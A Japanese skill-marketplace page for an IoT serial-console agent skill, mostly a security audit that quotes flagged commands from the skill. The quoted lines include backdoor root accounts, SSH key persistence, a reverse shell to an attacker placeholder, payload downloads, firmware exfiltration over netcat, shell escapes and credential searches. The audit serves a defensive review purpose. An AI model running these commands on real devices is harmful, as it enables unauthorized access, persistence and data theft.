📦
wsdiscovery
50WS-Discovery デバイスの検出
デバイスインベントリが不完全な場合、ONVIF カメラや IoT デバイスの検出には時間がかかることがあります。このスキルは、承認済みの WS-Discovery スキャンをガイドし、デバイスのメタデータとサービスエンドポイントを要約します。
セキュリティ＆コンプライアンス 表示
スキル picocom
📦
picocom
コンテンツリビジョン r1 重大 ⚙️ 外部コマンド🌐 ネットワークアクセス📁 ファイルシステムへのアクセス🔑 環境変数
picocom で IoT UART コンソールを監査
シリアル出力にノイズが多くキャプチャが難しい場合、UART テストには時間がかかることがあります。このスキルは、ログ取得、プロンプト検出、構造化された組み込みデバイスチェックを備えた、許可済みのシリアルセッションをガイドします。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "picocom" from https://skillstore.io/skills/brownfinesecurity-picocom.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-picocom/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「picocom」を使用しています。 UART 経由でデバイスのブートを 1 分間監視してください。
期待される結果:
短いブートタイムラインに、検出されたボーレート、カーネルメッセージ、サービス起動、ログインプロンプト、繰り返し発生するエラーが一覧表示されます。
「picocom」を使用しています。 許可済みの BusyBox シェルで小規模なコマンドチェックリストを実行してください。
期待される結果:
簡潔なレポートで、デバイス ID、ネットワーク状態、書き込み可能パス、注目すべきサービス、正確なログ参照を要約します。
「picocom」を使用しています。 モデムコンソールに AT コマンドを送信してください。
期待される結果:
読みやすい応答サマリーで、成功した応答、モデムエラー、識別子、より長いタイムアウトが必要なコマンドを分けて示します。
セキュリティ監査
重大v10 • 2026/7/9 バージョン別レポートを開く
Static findings were a mix of normal serial-device tooling and high-risk dual-use exploitation guidance. I confirmed the critical workflows around password file access, SSH persistence, backdoor accounts, bootloader root-shell bypass, credential searches, firmware extraction, network reconnaissance, and shell=True trigger execution; I dismissed documentation links, Markdown backticks, normal /dev/ttyUSB use, and log cleanup as false positives. Static review was capped at 400/457 representative findings; omitted static matches are unconfirmed, so automatic publishing stays disabled until manual review.
4
スキャンされたファイル
2,616
解析済み行数
113
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (67)
重大
Sudoers file access
cat /etc/sudoers
The skill instructs reading sudoers data during post-access enumeration. This exposes privilege rules and supports escalation planning.
重大
System password file access
cat /etc/shadow
The snippet reads the shadow password database. Password hash access is a serious credential exposure risk.
重大
System password file access
less /etc/passwd
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
重大
System password file access
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.
重大
System password file access
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.
重大
System password file access
vi /etc/passwd
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
重大
System password file access
less /etc/passwd
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
重大
System password file access
more /etc/passwd
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
確認済みの67件をすべて表示
重大
System password file access
sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh
The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.
重大
System password file access
cat /etc/passwd
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
重大
System password file access
cat /etc/shadow # If readable - major security issue!
The snippet reads the shadow password database. Password hash access is a serious credential exposure risk.
重大
System password file access
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
The snippet modifies or abuses the system password file as part of shell escape or backdoor guidance. This is direct account and access manipulation.
重大
System password file access
less /etc/passwd # Then !/bin/sh
The snippet accesses /etc/passwd in examples tied to authentication bypass or shell escape. That supports account discovery and unauthorized access.
重大
SSH directory access
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
重大
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
重大
SSH directory access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
重大
SSH directory access
chmod 600 /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
重大
Malware type keywords
**Method 2: Backdoor User Account**:
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
passwd backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
echo '#!/bin/sh' > /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
echo 'while true; do' >> /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
echo ' sleep 300' >> /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
echo 'done &' >> /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
chmod +x /etc/init.d/S99backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
- [ ] Backdoor installation possibilities
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
# Add a backdoor user
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
passwd backdoor
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
Malware type keywords
echo "/path/to/backdoor &" >> /etc/rc.local
The snippet is part of explicit backdoor user or startup persistence guidance. That is a direct unauthorized access pattern.
重大
UID/GID manipulation
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The snippet sets UID 0 before launching a shell. That is explicit privilege escalation behavior.
重大
SSH host/auth files
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
重大
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
重大
SSH host/auth files
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
重大
SSH host/auth files
chmod 600 /root/.ssh/authorized_keys
The surrounding workflow adds a key under root SSH authorization for persistence. This can create durable unauthorized access.
重大
Persistence and Backdoor Access Workflow
The skill provides a complete workflow for adding root SSH access, creating a backdoor UID 0 user, and starting a reverse shell on boot.
The cited sections contain step-by-step persistence and backdoor account instructions, not just abstract discussion.
重大
Bootloader Authentication Bypass Guidance
The skill instructs users to modify U-Boot boot arguments to launch a root shell or single-user mode and bypass normal login controls.
The cited lines explicitly describe changing boot arguments to init=/bin/sh and then obtaining root access.
重大
Firmware Extraction and Exfiltration Workflow
The skill walks through identifying flash partitions, dumping firmware images, and transferring the root filesystem to another host.
The cited sections combine flash dumping commands with network or removable-media transfer steps for extracted firmware.
高
Network scanning tools
nmap -sn 192.168.1.0/24
The snippet runs nmap against a local subnet from the target context. This is active network reconnaissance.
高
Certificate/key files
find / -name "*.pem" 2>/dev/null
The snippet searches the full filesystem for private key material. This can expose credentials and device trust anchors.
高
Certificate/key files
find / -name "*.key" 2>/dev/null
The snippet searches the full filesystem for private key material. This can expose credentials and device trust anchors.
高
Crypto seed/private key mention
# - Private keys
The line directs reviewers to look for private keys in extracted firmware. This is credential discovery in a dual-use workflow.
中
Network reconnaissance
ifconfig -a
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
ip addr show
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
# Now you have root access - proceed with enumeration
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
netstat -tulpn
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
ss -tulpn
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
netstat -anp
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
ss -anp
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --comma
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
echo -e "help\ndate\nifconfig\nps" > commands.txt
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
ifconfig, route, ping, netstat, telnet
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
ifconfig -a
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
ip addr show
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
netstat -tulpn
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
中
Network reconnaissance
ss -tulpn
The snippet gathers interface or socket information after console access. This is target network reconnaissance.
低
System reconnaissance
id
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
低
System reconnaissance
whoami
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
低
System reconnaissance
uname -a
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
低
System reconnaissance
uname -a
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
低
System reconnaissance
hostname
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
低
System reconnaissance
cat /etc/hostname
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
低
System reconnaissance
id
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
低
System reconnaissance
whoami
The snippet collects user, host, or kernel identity after access. This is standard post-access reconnaissance.
機能レビュー項目 (113)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
重大
Python os.system
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The snippet launches /bin/sh through Python during shell escape guidance. This is explicit command execution for privilege escalation.
重大
Python os.system
python -c 'import os; os.system("/bin/sh")'
The snippet launches /bin/sh through Python during shell escape guidance. This is explicit command execution for privilege escalation.
重大
Ruby/PHP system() call
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.
重大
Ruby/PHP system() call
python -c 'import os; os.system("/bin/sh")'
The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.
重大
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.
重大
Ruby/PHP system() call
awk 'BEGIN {system("/bin/sh")}'
The snippet invokes shell execution as part of restricted-shell escape examples. This supports unauthorized interactive access.
重大
Hidden file access
mkdir -p /root/.ssh
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
重大
Hidden file access
chmod 700 /root/.ssh
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
重大
Hidden file access
echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
重大
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
重大
Hidden file access
mkdir -p /root/.ssh
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
重大
Hidden file access
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
重大
Hidden file access
chmod 600 /root/.ssh/authorized_keys
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
重大
Hidden file access
chmod 700 /root/.ssh
The hidden path is root SSH configuration used in persistence instructions. Adding authorized keys creates durable access.
重大
Unix shell invocation
U-Boot> setenv bootargs "${bootargs} init=/bin/sh"
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
重大
Unix shell invocation
5. **Once booted with init=/bin/sh**:
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
重大
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
重大
Unix shell invocation
find /etc -exec /bin/sh \;
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
vim -c ':!/bin/sh'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
perl -e 'exec "/bin/sh";'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
# Example: sudo vim -> :!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
# Example: sudo find -> sudo find . -exec /bin/sh \;
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
echo '* * * * * /bin/sh -c "chmod u+s /bin/sh"' >> /etc/crontab
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
/bin/sh -p # Runs as root
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
echo '#!/bin/sh' > /etc/init.d/S99backdoor
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
:!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
python -c 'import os; os.system("/bin/sh")'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
perl -e 'exec "/bin/sh";'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
ruby -e 'exec "/bin/sh"'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
lua -e 'os.execute("/bin/sh")'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
find / -name anything -exec /bin/sh \;
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
# Modify boot arguments (e.g., init=/bin/sh for root shell)
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
重大
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
重大
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/bash"
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
重大
Unix shell invocation
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
setenv bootargs "${bootargs} init=/bin/sh"
The snippet changes boot arguments to start a root shell. That bypasses normal authentication controls.
重大
Unix shell invocation
/bin/bash
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
vi # Then :!/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
less /etc/passwd # Then !/bin/sh
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
find / -exec /bin/sh \;
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Unix shell invocation
awk 'BEGIN {system("/bin/sh")}'
The snippet launches a shell through an escape, backdoor, or persistence technique. This enables unauthorized command execution.
重大
Hardcoded URL
wget http://attacker.com/shell.sh
The URL downloads a shell from an attacker-controlled placeholder. This is a clear payload retrieval pattern.
高
Generic API/secret keys
grep -r "api_key" /var/www/ 2>/dev/null
The snippet searches web files for API keys. This can reveal reusable application secrets.
高
Linux /proc filesystem access
cat /proc/version
The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.
高
Linux /proc filesystem access
cat /proc/mtd
The /proc read is used to identify flash partitions before firmware dumping. That supports device data extraction.
高
Linux /proc filesystem access
cat /proc/net/arp
The /proc read enumerates neighboring network devices. It supports reconnaissance from the compromised device context.
高
Linux /proc filesystem access
cat /proc/version
The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.
高
Linux /proc filesystem access
cat /proc/cpuinfo
The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.
高
Linux /proc filesystem access
cat /proc/meminfo
The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.
高
Linux /proc filesystem access
cat /proc/mounts
The /proc read gathers kernel or system details after console access. This is reconnaissance, though legitimate diagnostics are possible.
高
Linux /proc filesystem access
cat /proc/mtd
The /proc read is used to identify flash partitions before firmware dumping. That supports device data extraction.
高
Linux /proc filesystem access
cat /proc/partitions
The /proc read is used to identify flash partitions before firmware dumping. That supports device data extraction.
高
Non-standard device file access
mount /dev/sda1 /mnt/usb
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
高
Non-standard device file access
dd if=/dev/mtd0 of=/mnt/usb/uboot.bin bs=1024
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
高
Non-standard device file access
dd if=/dev/mtd1 of=/mnt/usb/uboot-env.bin bs=1024
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
高
Non-standard device file access
dd if=/dev/mtd2 of=/mnt/usb/kernel.bin bs=1024
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
高
Non-standard device file access
dd if=/dev/mtd3 of=/mnt/usb/rootfs.bin bs=1024
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
高
Non-standard device file access
dd if=/dev/mtd3 of=/tmp/rootfs.bin bs=1024
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
高
Non-standard device file access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
高
Non-standard device file access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
高
Non-standard device file access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
高
Non-standard device file access
mount /dev/sda1 /mnt
The snippet mounts storage or dumps MTD flash device nodes. This enables firmware extraction from the target device.
高
Python subprocess.run
proc = subprocess.run(
The helper executes a user-supplied trigger string with shell=True. That creates command injection and arbitrary shell execution risk.
高
sudo privilege escalation
**Check sudo permissions**:
The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.
高
sudo privilege escalation
sudo -l
The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.
高
sudo privilege escalation
# Example: sudo vim -> :!/bin/sh
The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.
高
sudo privilege escalation
# Example: sudo find -> sudo find . -exec /bin/sh \;
The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.
高
sudo privilege escalation
sudo -l
The snippet is part of sudo abuse or privilege enumeration guidance. It supports escalation from a limited account.
高
Hardcoded IP address
nc 192.168.1.100 4444 < /tmp/rootfs.bin
The snippet transfers a firmware image over netcat to a fixed host. That is data exfiltration from the target device.
高
Hardcoded IP address
nmap -sn 192.168.1.0/24
The snippet scans a local subnet. That is active network reconnaissance.
高
Hardcoded IP address
setenv serverip 192.168.1.100
The address is part of bootloader network boot configuration for custom firmware. That can alter device boot behavior.
高
Hardcoded IP address
setenv ipaddr 192.168.1.200
The address is part of bootloader network boot configuration for custom firmware. That can alter device boot behavior.
高
Temp directory access
dd if=/dev/mtd3 of=/tmp/rootfs.bin bs=1024
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
高
Temp directory access
nc 192.168.1.100 4444 < /tmp/rootfs.bin
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
高
Temp directory access
dd if=/dev/mtd0 of=/tmp/bootloader.bin
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
高
Temp directory access
dd if=/dev/mtd1 of=/tmp/kernel.bin
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
高
Temp directory access
dd if=/dev/mtd2 of=/tmp/rootfs.bin
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
高
Temp directory access
nc attacker_ip 4444 < /tmp/rootfs.bin
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
高
Temp directory access
cp /tmp/*.bin /mnt/
The /tmp path is used as a staging location for dumped firmware before transfer or copying. This supports data extraction.
高
Unix shell invocation
/bin/sh
The snippet appears in a limited-shell escape scenario. Invoking a full shell can bypass restrictions.
高
Standard device file access
grep -r "password" /etc/ 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
高
Standard device file access
find / -name "*password*" -type f 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
高
Standard device file access
grep -r "password" /var/www/ 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
高
Standard device file access
grep -r "api_key" /var/www/ 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
高
Standard device file access
find / -name "*.pem" 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
高
Standard device file access
find / -name "*.key" 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
高
Standard device file access
find / -name "*password*" 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
高
Standard device file access
find / -name "*credential*" 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
高
Standard device file access
grep -r "password" /etc/ 2>/dev/null
The snippet searches the target filesystem for credentials or key material. This is sensitive information discovery.
中
Hardcoded IP address
--trigger-script "curl http://192.168.1.100/api/reboot" \
The hardcoded address is used for triggering device API actions. It can be legitimate testing but remains a network action risk.
中
Hardcoded IP address
--trigger-script "curl -X POST http://192.168.1.100/api/update" \
The hardcoded address is used for triggering device API actions. It can be legitimate testing but remains a network action risk.
中
Hardcoded IP address
--trigger-script "curl http://192.168.1.100/api/reboot" \
The hardcoded address is used for triggering device API actions. It can be legitimate testing but remains a network action risk.
中
Hardcoded IP address
telnet 192.168.1.1
The hardcoded address is used for telnet access in an enumeration section. This may enable unsafe remote administration testing.
中
Unix shell invocation
:set shell=/bin/sh
The snippet references shell invocation in an exploitation workflow. Legitimate testing is possible, but the context is risky.
中
Hardcoded URL
--trigger-script "curl http://192.168.1.100/api/reboot" \
The URL is used to trigger device API actions during monitoring. It is legitimate in a lab but remains network action risk.
中
Hardcoded URL
--trigger-script "curl http://192.168.1.100/api/reboot" \
The URL is used to trigger device API actions during monitoring. It is legitimate in a lab but remains network action risk.
中
Standard device file access
find / -perm -4000 -type f 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
中
Standard device file access
find /etc/cron* -writable 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
中
Standard device file access
find / -perm -4000 -type f 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
中
Standard device file access
find / -perm -2000 -type f 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
中
Standard device file access
find / -perm -2 -type f 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
中
Standard device file access
find / -perm -2 -type d 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
中
Standard device file access
find /etc/init.d/ -writable 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
中
Standard device file access
find /lib/systemd/system/ -writable 2>/dev/null
The snippet searches for writable or privileged files that can enable escalation. It is risky post-access enumeration.
リスク要因
⚙️ 外部コマンド (50)
examples.md:168 examples.md:339 examples.md:168 examples.md:339 examples.md:357 examples.md:421 examples.md:57 examples.md:88 examples.md:98 examples.md:116 examples.md:158 examples.md:161 examples.md:165 examples.md:168 examples.md:171 examples.md:179 examples.md:180 examples.md:190 examples.md:192 examples.md:280 examples.md:286 examples.md:292 examples.md:295 examples.md:318 examples.md:321 examples.md:329 examples.md:333 examples.md:339 examples.md:342 examples.md:345 examples.md:348 examples.md:354 examples.md:357 examples.md:360 examples.md:174 examples.md:176 examples.md:179 examples.md:180 OBSERVING_SESSIONS.md:314 OBSERVING_SESSIONS.md:81 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:289 OBSERVING_SESSIONS.md:301 serial_helper.py:596 SKILL.md:13 SKILL.md:19 SKILL.md:23 SKILL.md:26-29 SKILL.md:29-40
🌐 ネットワークアクセス (18)
📁 ファイルシステムへのアクセス (50)
examples.md:267 examples.md:268 examples.md:269 examples.md:270 examples.md:39 examples.md:202 examples.md:388 examples.md:14 examples.md:22 examples.md:23 examples.md:72 examples.md:142 examples.md:143 examples.md:152 examples.md:187 examples.md:405 examples.md:406 examples.md:421 examples.md:428 examples.md:431 examples.md:438 examples.md:441 examples.md:216 examples.md:219 examples.md:220 examples.md:221 examples.md:222 examples.md:225 examples.md:225 examples.md:228 OBSERVING_SESSIONS.md:14 OBSERVING_SESSIONS.md:38 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:128 OBSERVING_SESSIONS.md:155 OBSERVING_SESSIONS.md:162 OBSERVING_SESSIONS.md:207 OBSERVING_SESSIONS.md:247 OBSERVING_SESSIONS.md:279 OBSERVING_SESSIONS.md:286 OBSERVING_SESSIONS.md:301 OBSERVING_SESSIONS.md:322 OBSERVING_SESSIONS.md:363 OBSERVING_SESSIONS.md:16 OBSERVING_SESSIONS.md:22 OBSERVING_SESSIONS.md:82 OBSERVING_SESSIONS.md:83 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:96 OBSERVING_SESSIONS.md:103
🔑 環境変数 (1)
検出されたパターン
Sudoers file accessSystem password file access×12SSH directory access×4Malware type keywords×15Network scanning toolsUID/GID manipulationNetwork reconnaissance×15System reconnaissance×8
